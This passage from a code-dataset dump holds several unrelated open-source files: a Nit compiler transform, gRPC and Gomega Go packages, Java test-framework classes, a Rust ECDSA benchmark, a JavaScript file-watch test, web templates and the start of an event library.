bounds\n\t\t\tvar variable = variables.first\n\t\t\tbefore.add v.builder.make_var_assign(variable, nexpr.n_expr)\n\t\t\tvar to = nexpr.n_expr2\n\t\t\tbefore.add to\n\n\t\t\t# Begin: check variable\n\t\t\tvar is_ok = v.builder.make_call(v.builder.make_var_read(variable, variable.declared_type.as(not null)), method_lt.as(not null), [to.make_var_read])\n\t\t\tvar nif = v.builder.make_if(is_ok, null)\n\t\t\tbegin.add nif\n\t\t\tnif.n_else.add v.builder.make_break(escapemark)\n\n\t\t\t# Next: increment one\n\t\t\tvar one = v.builder.make_int(1)\n\t\t\tvar succ = v.builder.make_call(v.builder.make_var_read(variable, variable.declared_type.as(not null)), method_successor.as(not null), [one])\n\t\t\tnext.add v.builder.make_var_assign(variable, succ)\n\t\t\treturn\n\t\tend\n\n\t\t# Before: evaluate expr, make the iterator\n\t\tbefore.add nexpr\n\t\tvar iter = v.builder.make_call(nexpr.make_var_read, method_iterator.as(not null), null)\n\t\tbefore.add iter\n\n\t\t# Begin: check iterator `is_ok`\n\t\tvar is_ok = v.builder.make_call(iter.make_var_read, method_is_ok.as(not null), null)\n\t\tvar nif = v.builder.make_if(is_ok, null)\n\t\tbegin.add nif\n\t\tnif.n_else.add v.builder.make_break(escapemark)\n\n\t\t# Begin: assign automatic variables\n\t\tif variables.length == 1 then\n\t\t\tvar item = v.builder.make_call(iter.make_var_read, method_item.as(not null), null)\n\t\t\tbegin.add v.builder.make_var_assign(variables.first, item)\n\t\telse if variables.length == 2 then\n\t\t\tvar key = v.builder.make_call(iter.make_var_read, method_key.as(not null), null)\n\t\t\tbegin.add v.builder.make_var_assign(variables[0], key)\n\t\t\tvar item = v.builder.make_call(iter.make_var_read, method_item.as(not null), null)\n\t\t\tbegin.add v.builder.make_var_assign(variables[1], item)\n\t\telse\n\t\t\tabort\n\t\tend\n\n\t\t# Next: call next\n\t\tnext.add v.builder.make_call(iter.make_var_read, method_next.as(not null), null)\n\n\t\t# Finish: call finish\n\t\tvar method_finish = method_finish\n\t\tif method_finish != null then\n\t\t\tfinish.add v.builder.make_call(iter.make_var_read, method_finish, null)\n\t\tend\n\tend\nend\n\nredef class AWithExpr\n\t# is replaced with a do/end and injected calls to `start` and `finish`\n\t#\n\t# Basically, the following\n\t#\n\t# ~~~nitish\n\t# with expr do\n\t# block\n\t# end label l\n\t# ~~~\n\t#\n\t# is transformed into\n\t#\n\t# ~~~nitish\n\t# var x = expr\n\t# do\n\t# x.start\n\t# block\n\t# end label l\n\t# x.finish\n\t# ~~~\n\t#\n\t# The point is that `finish` is called even if the block is escaped.\n\tredef fun accept_transform_visitor(v)\n\tdo\n\t\tvar escapemark = self.break_mark\n\t\tassert escapemark != null\n\n\t\tvar nblock = v.builder.make_block\n\n\t\tvar nexpr = n_expr\n\n\t\tnblock.add nexpr\n\n\t\tvar ndo = v.builder.make_do\n\t\tndo.break_mark = escapemark\n\n\t\tvar start = v.builder.make_call(nexpr.make_var_read, method_start.as(not null), null)\n\n\t\tndo.add start\n\n\t\tndo.add self.n_block.as(not null)\n\n\t\tnblock.add ndo\n\n\t\tnblock.add v.builder.make_call(nexpr.make_var_read, method_finish.as(not null), null)\n\n\t\treplace_with(nblock)\n\tend\nend\n\nredef class AArrayExpr\n\t# `[x,y]` is replaced with\n\t#\n\t# ~~~nitish\n\t# var t = new Array[X].with_capacity(2)\n\t# t.add(x)\n\t# t.add(y)\n\t# t\n\t# ~~~\n\tredef fun full_transform_visitor(v)\n\tdo\n\t\tif is_broken then return # Skip broken\n\n\t\tvar nblock = v.builder.make_block\n\n\t\tvar nnew = v.builder.make_new(with_capacity_callsite.as(not null), [v.builder.make_int(n_exprs.length)])\n\t\tself.nnew = nnew\n\n\t\tnblock.add nnew\n\n\t\tsuper\n\n\t\tfor nexpr in self.n_exprs do\n\t\t\tnblock.add nexpr\n\t\tend\n\t\tvar nres = nnew.make_var_read\n\t\tnblock.add nres\n\n\t\treplace_with(nblock)\n\tend\n\n\tprivate var nnew: ANewExpr is noinit\nend\n\nredef class ACrangeExpr\n\t# `[x..y]` is replaced with `new Range[X](x,y)`\n\tredef fun accept_transform_visitor(v)\n\tdo\n\t\tif parent isa AForGroup then return # to permit shortcut ranges\n\t\treplace_with(v.builder.make_new(init_callsite.as(not null), [n_expr, n_expr2]))\n\tend\nend\n\nredef class AOrangeExpr\n\t# `[x..y[` is replaced with `new Range[X].without_last(x,y)`\n\tredef fun accept_transform_visitor(v)\n\tdo\n\t\tif parent isa AForGroup then return # to permit shortcut ranges\n\t\treplace_with(v.builder.make_new(init_callsite.as(not null), [n_expr, n_expr2]))\n\tend\nend\n\nredef class AParExpr\n\t# `(x)` is replaced with `x`\n\tredef fun accept_transform_visitor(v)\n\tdo\n\t\treplace_with(n_expr)\n\tend\nend\n\nredef class ASendReassignFormExpr\n\t# `x.foo(y)+=z` is replaced with\n\t#\n\t# ~~~nitish\n\t# x.foo(y) = x.foo(y) + z\n\t# ~~~\n\t#\n\t# witch is, in reality:\n\t#\n\t# ~~~nitish\n\t# x.\"foo=\"(y, x.foo(y).\"+\"(z))\n\t# ~~~\n\tredef fun accept_transform_visitor(v)\n\tdo\n\t\tvar nblock = v.builder.make_block\n\t\tnblock.add(n_expr)\n\n\t\tvar read_args = new Array[AExpr]\n\t\tvar write_args = new Array[AExpr]\n\t\tfor a in raw_arguments do\n\t\t\tnblock.add(a)\n\t\t\tread_args.add(a.make_var_read)\n\t\t\twrite_args.add(a.make_var_read)\n\t\tend\n\n\t\tvar nread = v.builder.make_call(n_expr.make_var_read, callsite.as(not null), read_args)\n\n\t\tvar nnewvalue = v.builder.make_call(nread, reassign_callsite.as(not null), [n_value])\n\n\t\twrite_args.add(nnewvalue)\n\t\tvar nwrite = v.builder.make_call(n_expr.make_var_read, write_callsite.as(not null), write_args)\n\t\tnblock.add(nwrite)\n\n\t\treplace_with(nblock)\n\tend\nend\n\nredef class AVarReassignExpr\n\t# `v += z` is replaced with `v = v + z`\n\tredef fun accept_transform_visitor(v)\n\tdo\n\t\tvar variable = self.variable.as(not null)\n\n\t\tvar nread = v.builder.make_var_read(variable, read_type.as(not null))\n\n\t\tvar nnewvalue = v.builder.make_call(nread, reassign_callsite.as(not null), [n_value])\n\t\tvar nwrite = v.builder.make_var_assign(variable, nnewvalue)\n\n\t\treplace_with(nwrite)\n\tend\nend\n\nredef class AAttrReassignExpr\n\t# `x.a += z` is replaced with `x.a = x.a + z`\n\tredef fun accept_transform_visitor(v)\n\tdo\n\t\tvar nblock = v.builder.make_block\n\t\tnblock.add(n_expr)\n\t\tvar attribute = self.mproperty.as(not null)\n\n\t\tvar nread = v.builder.make_attr_read(n_expr.make_var_read, attribute)\n\t\tvar nnewvalue = v.builder.make_call(nread, reassign_callsite.as(not null), [n_value])\n\t\tvar nwrite = v.builder.make_attr_assign(n_expr.make_var_read, attribute, nnewvalue)\n\t\tnblock.add(nwrite)\n\n\t\treplace_with(nblock)\n\tend\nend\n"} {"text": "/*\n * Copyright (c) 2013, 2018, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 3 only, as\n * published by the Free Software Foundation.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n * version 3 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 3 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA\n * or visit www.oracle.com if you need additional information or have any\n * questions.\n */\npackage com.oracle.truffle.r.nodes.builtin;\n\nimport java.util.function.Predicate;\n\nimport com.oracle.truffle.r.nodes.builtin.ArgumentFilter.ArgumentTypeFilter;\n\npublic class TypePredicateArgumentFilter<T, R extends T> extends AbstractPredicateArgumentFilter<T, R> implements ArgumentTypeFilter<T, R> {\n\n public TypePredicateArgumentFilter(Predicate<? super T> valuePredicate) {\n super(valuePredicate);\n }\n\n public static <T, R extends T> TypePredicateArgumentFilter<T, R> fromLambda(Predicate<? super T> predicate) {\n return new TypePredicateArgumentFilter<>(predicate);\n }\n}\n"} {"text": "/*\nGomega matchers\n\nThis package implements the Gomega matchers and does not typically need to be imported.\nSee the docs for Gomega for documentation on the matchers\n\nhttp://onsi.github.io/gomega/\n*/\n\n// untested sections: 11\n\npackage matchers\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"reflect\"\n)\n\ntype omegaMatcher interface {\n\tMatch(actual interface{}) (success bool, err error)\n\tFailureMessage(actual interface{}) (message string)\n\tNegatedFailureMessage(actual interface{}) (message string)\n}\n\nfunc isBool(a interface{}) bool {\n\treturn reflect.TypeOf(a).Kind() == reflect.Bool\n}\n\nfunc isNumber(a interface{}) bool {\n\tif a == nil {\n\t\treturn false\n\t}\n\tkind := reflect.TypeOf(a).Kind()\n\treturn reflect.Int <= kind && kind <= reflect.Float64\n}\n\nfunc isInteger(a interface{}) bool {\n\tkind := reflect.TypeOf(a).Kind()\n\treturn reflect.Int <= kind && kind <= reflect.Int64\n}\n\nfunc isUnsignedInteger(a interface{}) bool {\n\tkind := reflect.TypeOf(a).Kind()\n\treturn reflect.Uint <= kind && kind <= reflect.Uint64\n}\n\nfunc isFloat(a interface{}) bool {\n\tkind := reflect.TypeOf(a).Kind()\n\treturn reflect.Float32 <= kind && kind <= reflect.Float64\n}\n\nfunc toInteger(a interface{}) int64 {\n\tif isInteger(a) {\n\t\treturn reflect.ValueOf(a).Int()\n\t} else if isUnsignedInteger(a) {\n\t\treturn int64(reflect.ValueOf(a).Uint())\n\t} else if isFloat(a) {\n\t\treturn int64(reflect.ValueOf(a).Float())\n\t}\n\tpanic(fmt.Sprintf(\"Expected a number! Got <%T> %#v\", a, a))\n}\n\nfunc toUnsignedInteger(a interface{}) uint64 {\n\tif isInteger(a) {\n\t\treturn uint64(reflect.ValueOf(a).Int())\n\t} else if isUnsignedInteger(a) {\n\t\treturn reflect.ValueOf(a).Uint()\n\t} else if isFloat(a) {\n\t\treturn uint64(reflect.ValueOf(a).Float())\n\t}\n\tpanic(fmt.Sprintf(\"Expected a number! Got <%T> %#v\", a, a))\n}\n\nfunc toFloat(a interface{}) float64 {\n\tif isInteger(a) {\n\t\treturn float64(reflect.ValueOf(a).Int())\n\t} else if isUnsignedInteger(a) {\n\t\treturn float64(reflect.ValueOf(a).Uint())\n\t} else if isFloat(a) {\n\t\treturn reflect.ValueOf(a).Float()\n\t}\n\tpanic(fmt.Sprintf(\"Expected a number! Got <%T> %#v\", a, a))\n}\n\nfunc isError(a interface{}) bool {\n\t_, ok := a.(error)\n\treturn ok\n}\n\nfunc isChan(a interface{}) bool {\n\tif isNil(a) {\n\t\treturn false\n\t}\n\treturn reflect.TypeOf(a).Kind() == reflect.Chan\n}\n\nfunc isMap(a interface{}) bool {\n\tif a == nil {\n\t\treturn false\n\t}\n\treturn reflect.TypeOf(a).Kind() == reflect.Map\n}\n\nfunc isArrayOrSlice(a interface{}) bool {\n\tif a == nil {\n\t\treturn false\n\t}\n\tswitch reflect.TypeOf(a).Kind() {\n\tcase reflect.Array, reflect.Slice:\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}\n\nfunc isString(a interface{}) bool {\n\tif a == nil {\n\t\treturn false\n\t}\n\treturn reflect.TypeOf(a).Kind() == reflect.String\n}\n\nfunc toString(a interface{}) (string, bool) {\n\taString, isString := a.(string)\n\tif isString {\n\t\treturn aString, true\n\t}\n\n\taBytes, isBytes := a.([]byte)\n\tif isBytes {\n\t\treturn string(aBytes), true\n\t}\n\n\taStringer, isStringer := a.(fmt.Stringer)\n\tif isStringer {\n\t\treturn aStringer.String(), true\n\t}\n\n\taJSONRawMessage, isJSONRawMessage := a.(json.RawMessage)\n\tif isJSONRawMessage {\n\t\treturn string(aJSONRawMessage), true\n\t}\n\n\treturn \"\", false\n}\n\nfunc lengthOf(a interface{}) (int, bool) {\n\tif a == nil {\n\t\treturn 0, false\n\t}\n\tswitch reflect.TypeOf(a).Kind() {\n\tcase reflect.Map, reflect.Array, reflect.String, reflect.Chan, reflect.Slice:\n\t\treturn reflect.ValueOf(a).Len(), true\n\tdefault:\n\t\treturn 0, false\n\t}\n}\nfunc capOf(a interface{}) (int, bool) {\n\tif a == nil {\n\t\treturn 0, false\n\t}\n\tswitch reflect.TypeOf(a).Kind() {\n\tcase reflect.Array, reflect.Chan, reflect.Slice:\n\t\treturn reflect.ValueOf(a).Cap(), true\n\tdefault:\n\t\treturn 0, false\n\t}\n}\n\nfunc isNil(a interface{}) bool {\n\tif a == nil {\n\t\treturn true\n\t}\n\n\tswitch reflect.TypeOf(a).Kind() {\n\tcase reflect.Chan, reflect.Func, reflect.Interface, reflect.Map, reflect.Ptr, reflect.Slice:\n\t\treturn reflect.ValueOf(a).IsNil()\n\t}\n\n\treturn false\n}\n"} {"text": "var catw = require('../');\nvar test = require('tape');\nvar fs = require('fs');\nvar path = require('path');\nvar os = require('os');\nvar tmpdir = os.tmpdir || os.tmpDir;\nvar mkdirp = require('mkdirp');\nvar concat = require('concat-stream');\n\ntest('adding and updating files', function (t) {\n t.plan(4);\n var dir = path.join(tmpdir(), 'cat-watch-test-existing', Math.random()+'');\n mkdirp.sync(dir);\n \n fs.writeFileSync(path.join(dir, 'beep.txt'), 'beep');\n fs.writeFileSync(path.join(dir, 'boop.txt'), 'boop');\n \n var cat = catw(path.join(dir, '*.txt'));\n t.on('end', function () { cat.close() });\n var expected = [ 'beepboop', 'beep boop', 'beep boop!', 'beep boop!!!' ];\n \n cat.on('stream', function (stream) {\n stream.pipe(concat(function (body) {\n t.equal(body.toString('utf8'), expected.shift());\n }));\n });\n \n var updates = [\n [ 'beep.txt', 'beep ' ],\n [ 'boop.txt', 'boop!' ],\n [ 'c.txt', '!!' ]\n ];\n \n setTimeout(function next () {\n if (updates.length === 0) return;\n var file = updates.shift();\n fs.writeFile(path.join(dir, file[0]), file[1], function (err) {\n if (err) return t.fail(err)\n else setTimeout(next, 200)\n });\n }, 200);\n});\n"} {"text": "/*\n *\n * Copyright 2014 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\n// Package metadata define the structure of the metadata supported by gRPC library.\n// Please refer to https://github.com/grpc/grpc/blob/master/doc/PROTOCOL-HTTP2.md\n// for more information about custom-metadata.\npackage metadata // import \"google.golang.org/grpc/metadata\"\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"strings\"\n)\n\n// DecodeKeyValue returns k, v, nil.\n//\n// Deprecated: use k and v directly instead.\nfunc DecodeKeyValue(k, v string) (string, string, error) {\n\treturn k, v, nil\n}\n\n// MD is a mapping from metadata keys to values. Users should use the following\n// two convenience functions New and Pairs to generate MD.\ntype MD map[string][]string\n\n// New creates an MD from a given key-value map.\n//\n// Only the following ASCII characters are allowed in keys:\n// - digits: 0-9\n// - uppercase letters: A-Z (normalized to lower)\n// - lowercase letters: a-z\n// - special characters: -_.\n// Uppercase letters are automatically converted to lowercase.\n//\n// Keys beginning with \"grpc-\" are reserved for grpc-internal use only and may\n// result in errors if set in metadata.\nfunc New(m map[string]string) MD {\n\tmd := MD{}\n\tfor k, val := range m {\n\t\tkey := strings.ToLower(k)\n\t\tmd[key] = append(md[key], val)\n\t}\n\treturn md\n}\n\n// Pairs returns an MD formed by the mapping of key, value ...\n// Pairs panics if len(kv) is odd.\n//\n// Only the following ASCII characters are allowed in keys:\n// - digits: 0-9\n// - uppercase letters: A-Z (normalized to lower)\n// - lowercase letters: a-z\n// - special characters: -_.\n// Uppercase letters are automatically converted to lowercase.\n//\n// Keys beginning with \"grpc-\" are reserved for grpc-internal use only and may\n// result in errors if set in metadata.\nfunc Pairs(kv ...string) MD {\n\tif len(kv)%2 == 1 {\n\t\tpanic(fmt.Sprintf(\"metadata: Pairs got the odd number of input pairs for metadata: %d\", len(kv)))\n\t}\n\tmd := MD{}\n\tvar key string\n\tfor i, s := range kv {\n\t\tif i%2 == 0 {\n\t\t\tkey = strings.ToLower(s)\n\t\t\tcontinue\n\t\t}\n\t\tmd[key] = append(md[key], s)\n\t}\n\treturn md\n}\n\n// Len returns the number of items in md.\nfunc (md MD) Len() int {\n\treturn len(md)\n}\n\n// Copy returns a copy of md.\nfunc (md MD) Copy() MD {\n\treturn Join(md)\n}\n\n// Get obtains the values for a given key.\nfunc (md MD) Get(k string) []string {\n\tk = strings.ToLower(k)\n\treturn md[k]\n}\n\n// Set sets the value of a given key with a slice of values.\nfunc (md MD) Set(k string, vals ...string) {\n\tif len(vals) == 0 {\n\t\treturn\n\t}\n\tk = strings.ToLower(k)\n\tmd[k] = vals\n}\n\n// Append adds the values to key k, not overwriting what was already stored at that key.\nfunc (md MD) Append(k string, vals ...string) {\n\tif len(vals) == 0 {\n\t\treturn\n\t}\n\tk = strings.ToLower(k)\n\tmd[k] = append(md[k], vals...)\n}\n\n// Join joins any number of mds into a single MD.\n// The order of values for each key is determined by the order in which\n// the mds containing those values are presented to Join.\nfunc Join(mds ...MD) MD {\n\tout := MD{}\n\tfor _, md := range mds {\n\t\tfor k, v := range md {\n\t\t\tout[k] = append(out[k], v...)\n\t\t}\n\t}\n\treturn out\n}\n\ntype mdIncomingKey struct{}\ntype mdOutgoingKey struct{}\n\n// NewIncomingContext creates a new context with incoming md attached.\nfunc NewIncomingContext(ctx context.Context, md MD) context.Context {\n\treturn context.WithValue(ctx, mdIncomingKey{}, md)\n}\n\n// NewOutgoingContext creates a new context with outgoing md attached. If used\n// in conjunction with AppendToOutgoingContext, NewOutgoingContext will\n// overwrite any previously-appended metadata.\nfunc NewOutgoingContext(ctx context.Context, md MD) context.Context {\n\treturn context.WithValue(ctx, mdOutgoingKey{}, rawMD{md: md})\n}\n\n// AppendToOutgoingContext returns a new context with the provided kv merged\n// with any existing metadata in the context. Please refer to the\n// documentation of Pairs for a description of kv.\nfunc AppendToOutgoingContext(ctx context.Context, kv ...string) context.Context {\n\tif len(kv)%2 == 1 {\n\t\tpanic(fmt.Sprintf(\"metadata: AppendToOutgoingContext got an odd number of input pairs for metadata: %d\", len(kv)))\n\t}\n\tmd, _ := ctx.Value(mdOutgoingKey{}).(rawMD)\n\tadded := make([][]string, len(md.added)+1)\n\tcopy(added, md.added)\n\tadded[len(added)-1] = make([]string, len(kv))\n\tcopy(added[len(added)-1], kv)\n\treturn context.WithValue(ctx, mdOutgoingKey{}, rawMD{md: md.md, added: added})\n}\n\n// FromIncomingContext returns the incoming metadata in ctx if it exists. The\n// returned MD should not be modified. Writing to it may cause races.\n// Modification should be made to copies of the returned MD.\nfunc FromIncomingContext(ctx context.Context) (md MD, ok bool) {\n\tmd, ok = ctx.Value(mdIncomingKey{}).(MD)\n\treturn\n}\n\n// FromOutgoingContextRaw returns the un-merged, intermediary contents\n// of rawMD. Remember to perform strings.ToLower on the keys. The returned\n// MD should not be modified. Writing to it may cause races. Modification\n// should be made to copies of the returned MD.\n//\n// This is intended for gRPC-internal use ONLY.\nfunc FromOutgoingContextRaw(ctx context.Context) (MD, [][]string, bool) {\n\traw, ok := ctx.Value(mdOutgoingKey{}).(rawMD)\n\tif !ok {\n\t\treturn nil, nil, false\n\t}\n\n\treturn raw.md, raw.added, true\n}\n\n// FromOutgoingContext returns the outgoing metadata in ctx if it exists. The\n// returned MD should not be modified. Writing to it may cause races.\n// Modification should be made to copies of the returned MD.\nfunc FromOutgoingContext(ctx context.Context) (MD, bool) {\n\traw, ok := ctx.Value(mdOutgoingKey{}).(rawMD)\n\tif !ok {\n\t\treturn nil, false\n\t}\n\n\tmds := make([]MD, 0, len(raw.added)+1)\n\tmds = append(mds, raw.md)\n\tfor _, vv := range raw.added {\n\t\tmds = append(mds, Pairs(vv...))\n\t}\n\treturn Join(mds...), ok\n}\n\ntype rawMD struct {\n\tmd MD\n\tadded [][]string\n}\n"} {"text": "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01//EN\">\n<html>\n <head>\n <title>Parsing: Numbers in classes</title>\n <style type=\"text/css\">\n p { color: red; }\n .\\31 \\33 { color: green; }\n</style>\n <link rel=\"first\" href=\"css3-modsel-1.html\" title=\"Groups of selectors\">\n <link rel=\"prev\" href=\"css3-modsel-175b.html\" title=\"Parsing: Numbers in classes\">\n <link rel=\"next\" href=\"css3-modsel-176.html\" title=\"Combinations: classes and IDs\">\n <link rel=\"last\" href=\"css3-modsel-d4.html\" title=\"Dynamic updating of :first-child and :last-child\">\n <link rel=\"up\" href=\"./index.html\">\n <link rel=\"top\" href=\"../../index.html\">\n </head>\n <body>\n <p class=\"13\">This line should be green.</p>\n</body>\n</html>"} {"text": "/*\n * Copyright 2006-2010 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.consol.citrus.container;\n\nimport com.consol.citrus.AbstractIteratingContainerBuilder;\nimport com.consol.citrus.context.TestContext;\n\n/**\n * Class executes nested test actions in loops. Iteration continues as long\n * as looping condition evaluates to true.\n *\n * Each loop an index variable is incremented. The index variable is accessible inside the nested\n * test actions as normal test variable. Iteration starts with index=1 and increments with a\n * default step=1.\n *\n * @author Christoph Deppisch\n */\npublic class Iterate extends AbstractIteratingActionContainer {\n /** Index increment step */\n private final int step;\n\n /**\n * Default constructor.\n */\n public Iterate(Builder builder) {\n super(\"iterate\", builder);\n\n this.step = builder.step;\n }\n\n @Override\n public void executeIteration(TestContext context) {\n while (checkCondition(context)) {\n executeActions(context);\n\n index = index + step ;\n }\n }\n\n /**\n * Gets the step.\n * @return the step\n */\n public int getStep() {\n return step;\n }\n\n /**\n * Action builder.\n */\n public static class Builder extends AbstractIteratingContainerBuilder<Iterate, Builder> {\n\n private int step = 1;\n\n /**\n * Fluent API action building entry method used in Java DSL.\n * @return\n */\n public static Builder iterate() {\n return new Builder();\n }\n\n /**\n * Sets the step for each iteration.\n * @param step\n * @return\n */\n public Builder step(int step) {\n this.step = step;\n return this;\n }\n\n @Override\n public Iterate build() {\n return super.build(new Iterate(this));\n }\n }\n}\n"} {"text": "#![warn(clippy::all)]\nuse criterion::{black_box, Criterion};\nuse zkp_elliptic_curve::ScalarFieldElement;\nuse zkp_elliptic_curve_crypto::{PrivateKey, PublicKey};\nuse zkp_macros_decl::u256h;\nuse zkp_u256::U256;\n\nfn ecdsa_sign(crit: &mut Criterion) {\n let digest = ScalarFieldElement::from(u256h!(\n \"03d937c035c878245caf64531a5756109c53068da139362728feb561405371cb\"\n ));\n let private_key = PrivateKey::from(u256h!(\n \"0208a0a10250e382e1e4bbe2880906c2791bf6275695e02fbbc6aeff9cd8b31a\"\n ));\n crit.bench_function(\"Ecdsa sign\", move |bench| {\n bench.iter(|| black_box(private_key.sign(&digest)))\n });\n}\n\nfn ecdsa_verify(crit: &mut Criterion) {\n let digest = ScalarFieldElement::from(u256h!(\n \"03d937c035c878245caf64531a5756109c53068da139362728feb561405371cb\"\n ));\n let private_key = PrivateKey::from(u256h!(\n \"0208a0a10250e382e1e4bbe2880906c2791bf6275695e02fbbc6aeff9cd8b31a\"\n ));\n let public = PublicKey::from(&private_key);\n let signature = private_key.sign(&digest);\n crit.bench_function(\"Ecdsa verify\", move |bench| {\n bench.iter(|| black_box(public.verify(&digest, &signature)))\n });\n}\n\nfn main() {\n let crit = &mut Criterion::default().configure_from_args();\n ecdsa_sign(crit);\n ecdsa_verify(crit);\n crit.final_summary();\n}\n"} {"text": "<#--\n\n Bolo - A stable and beautiful blogging system based in Solo.\n Copyright (c) 2020, https://github.com/adlered\n\n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU Affero General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU Affero General Public License for more details.\n\n You should have received a copy of the GNU Affero General Public License\n along with this program. If not, see <https://www.gnu.org/licenses/>.\n\n-->\n<#include \"../common-template/macro-common_page.ftl\">\n\n<@commonPage \"403 权限不足\">\n<h2>403 权限不足!</h2>\n<img class=\"img-error\" src=\"${staticServePath}/images/403.png\" alt=\"403\" title=\"403 Forbidden!\" />\n<div class=\"a-error\">\n ${msg!}\n 您的账号没有后台管理权限<br>\n <span id=\"sec\">3</span> 秒后返回 <a href=\"${servePath}\">主页</a>\n <script>\n i = 2;\n intervalId = setInterval(\"fun()\", 1000);\n function fun() {\n if (i == 0) {\n window.location.href = \"${servePath}\";\n clearInterval(intervalId);\n }\n document.getElementById(\"sec\").innerHTML = i;\n i--;\n }\n </script>\n</div>\n</@commonPage>\n"} {"text": "/*\n * Copyright (C) 2005-2012 Diego Perini\n * All rights reserved.\n *\n * nwevents.js - Javascript Event Manager\n *\n * Author: Diego Perini <diego.perini at gmail com>\n * Version: 1.2.4\n * Created: 20051016\n * Release: 20120101\n *\n * License:\n * http://javascript.nwbox.com/NWEvents/MIT-LICENSE\n * Download:\n * http://javascript.nwbox.com/NWEvents/nwevents.js\n */\n\n(function(global) {\n\n var version = 'nwevents-1.2.4',\n\n Event = typeof exports === 'object' ? exports : (\n (global.NW || (global.NW = { })) &&\n (global.NW.Event || (global.NW.Event = { }))),\n\n // default to DOM2\n USE_DOM2 = true,\n\n // event phases constants\n CUSTOM = 0, CAPTURING_PHASE = 1, AT_TARGET = 2, BUBBLING_PHASE = 3,\n\n // event collections and predefined DOM0 register\n DOMEvents = { }, Delegates = { }, Listeners = { }, Predefined = { },\n\n // initial script load context\n viewport = global,\n context = global.document || { },\n root = context.documentElement || { },\n\n Keyboard_Events = {\n // keypress deprecated in favor of textInput\n keypress: 1, keydown: 1, keyup: 1\n },\n\n Mouse_Events = {\n // contextmenu is a non standard event\n contextmenu: 1,\n // dblclick is a non standard event\n click: 1, dblclick: 1,\n mouseout: 1, mouseover: 1,\n mouseenter: 1, mouseleave: 1,\n mousemove: 1, mousedown: 1, mouseup: 1\n },\n\n Touch_Events = {\n touchup: 1, touchdown: 1,\n // touch devices like iPhone/iPod\n touchend: 1, touchmove: 1, touchstart: 1, touchcancel: 1,\n gestureend: 1, gesturemove: 1, gesturestart: 1, gesturecancel: 1\n },\n\n Text_Events = {\n // input/textarea elements\n textInput: 1, keydown: 1, keyup: 1\n },\n\n UI_Events = {\n // keyboard focus and activation events\n blur: 1, focus: 1, focusin: 1, focusout: 1,\n DOMActivate: 1, DOMFocusIn: 1, DOMFocusOut: 1\n },\n\n Events = {\n // host objects and binary content related\n abort: 1, error: 1,\n load: 1, unload: 1, resize: 1, scroll: 1,\n // forms and control elements related\n change: 1, input: 1, select: 1, reset: 1, submit: 1\n },\n\n EventCollection =\n function() {\n return {\n items: [],\n calls: [],\n parms: [],\n wraps: []\n };\n },\n\n /* ============================ FEATURE TESTING =========================== */\n\n implementation = context.implementation ||\n { hasFeature: function() { return false; } },\n\n // detect activation capabilities,\n // Firefox 3+, Safari 3+, Opera 9+, IE\n hasActive = 'activeElement' in context ?\n (function() {\n try {\n return (context.activeElement = null) || true;\n } catch(e) {\n return false;\n }\n }) : true,\n\n hasFeature =\n function(t, v) {\n return implementation.hasFeature(t, v || '');\n },\n\n hasInterface = hasFeature('Events', '') ?\n function(t) {\n try {\n return typeof context.createEvent(t)['init' + t] === 'function';\n } catch (e) {\n return false;\n }\n } :\n function(t) {\n return false;\n },\n\n // detect native methods\n isNative = (function() {\n var s = (global.open + '').replace(/open/g, '');\n return function(object, method) {\n var m = object ? object[method] : false, r = new RegExp(method, 'g');\n return !!(m && typeof m !== 'string' && s === (m + '').replace(r, ''));\n };\n })(),\n\n // detect event model in use\n W3C_MODEL =\n isNative(root, 'dispatchEvent') &&\n isNative(root, 'addEventListener') &&\n isNative(root, 'removeEventListener') &&\n isNative(context, 'createEvent'),\n\n MSIE_MODEL = !W3C_MODEL &&\n isNative(root, 'fireEvent') &&\n isNative(root, 'attachEvent') &&\n isNative(root, 'detachEvent') &&\n isNative(context, 'createEventObject'),\n\n SUPPORT_EVENTS = hasInterface('Event'),\n\n SUPPORT_UI_EVENTS = hasInterface('UIEvent'),\n\n SUPPORT_TEXT_EVENTS = hasInterface('TextEvent'),\n\n SUPPORT_TOUCH_EVENTS = hasInterface('TouchEvent'),\n\n SUPPORT_MOUSE_EVENTS = hasInterface('MouseEvent'),\n\n SUPPORT_KEYBOARD_EVENTS = hasInterface('KeyboardEvent'),\n\n // non standard Firefox KeyEvent\n SUPPORT_KEY_EVENTS = 'KeyEvent' in global &&\n typeof KeyEvent.prototype.initEvent === 'function',\n\n KEYBOARD_FIX = SUPPORT_KEYBOARD_EVENTS ? '' : 's',\n\n KEYBOARD_EVENT = 